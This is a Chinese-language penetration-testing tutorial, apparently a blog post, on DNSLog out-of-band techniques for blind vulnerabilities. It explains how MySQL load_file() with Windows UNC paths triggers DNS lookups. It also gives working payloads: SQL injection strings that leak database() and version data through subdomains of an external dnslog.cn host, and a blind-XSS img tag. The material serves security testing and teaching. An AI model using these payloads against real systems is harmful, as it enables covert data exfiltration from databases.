前言
在渗透测试当中,当我们遇到没有回显的漏洞是非常难以利用,因为我们无从得知存不存在漏洞,另外是我们无法得知漏洞执行的结果。因此,针对无回显漏洞,我们可以通过使用DNSLog来进行回显,DNSLog是一种回显机制,攻击者可以通过DNS的解析日志来读取漏洞执行的回显结果。
DNSLog
首先,我们都知道DSN的解析过程,递归查询和迭代查询相互结合。
DNSLog的使用方法
1.DNSLog原理DNS的解析是递归与迭代相结合的,这里举个例子,当我们访问网站的时候,DNS的解析过程示意图。...
这里我们可以控制的是域名的DNS服务器,也就是"baidu.com"的DNS服务器。我们只需要搭建一个DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级域名或者三级域名或者其他子域名上去请求,就可以通过DNS解析日志来获取到它们。
DNSLog部署过程:
1.申请一个域名,比如:baige.com
2.在我们的上安装并配置DNS服务器
3.将baige.com的DNS服务器设置为我们的地址
4.所有访问baige.com的二级三级四级等等子域名都会被解析到我们的上,我们就可以通过查询DNS服务器解析记录来获得命令执行的回显了。
在线的DNSLog平台:
http://ceye.io
http://www.dnslog.cn
网站总是进不去,麻了。
为什么DNSlog注入只能用于windows系统?
load_file()函数在Linux下是无法用来做DNSLog攻击的,因为linux没有UNC这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的。
什么是UNC?
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器。 UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
UNC路径就是类似softer这样的形式的网络路径。它符合 servernamesharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:servernamesharenamedirectoryfilename。
例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径
//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt
SQL盲注回显
不管是布尔盲注还是时间盲注,都需要发送大量的数据包去判断,而这可能会触发WAF的防护,因此导致被封IP,所以,如果条件允许,我们可以结合NDSLog来快速的回显数据。MySQL数据库,通过DNSLog盲注需要用到load_file()函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因为需要使用load_file()函数,所以需要用到root权限,并且secure_file_priv需要为空。
1.SQL盲注,后端数据库用的Mysql数据库,说一下用dnslog回显只能用于windows系统,原理就是''代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个就是转义了反斜杠。
2.通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。
代码语言:javascript复制`show variables like '%secure%';`
查看load_file()可以读取的磁盘。
(1)当secure_file_priv为空,就可以读取磁盘的目录。
(2)当secure_file_priv为G:,就可以读取G盘的文件。
(3)当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。
关于OOB
out-of-band带外数据(OOB)与inband相反,它是一种通过其他传输方式来窃取数据的技术(例如利用DNS解析协议和电子邮件)。OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法。
payload:
代码语言:javascript复制select load_file(concat('\\',(要查询的语句),'.xx.xx.xx\abc'));
执行的语句:
代码语言:javascript复制select load_file(concat('\\',(select database()),
'.p3973g.dnslog.cn\abc'));
select load_file(concat('\\',(select version)),
'.p3973g.dnslog.cn\abc')
DNSLog平台收到的DNS查询:
无回显的XSS
代码语言:javascript复制payload:<img src=http://hf8r67.dnslog.cn>
DNSLog平台收到的DNS查询
即可证明XSS
更多盲打Payload
这里也只能抛砖引玉了,更多思路要结合几乎接近实战的情况成功验证,然后才能去实现。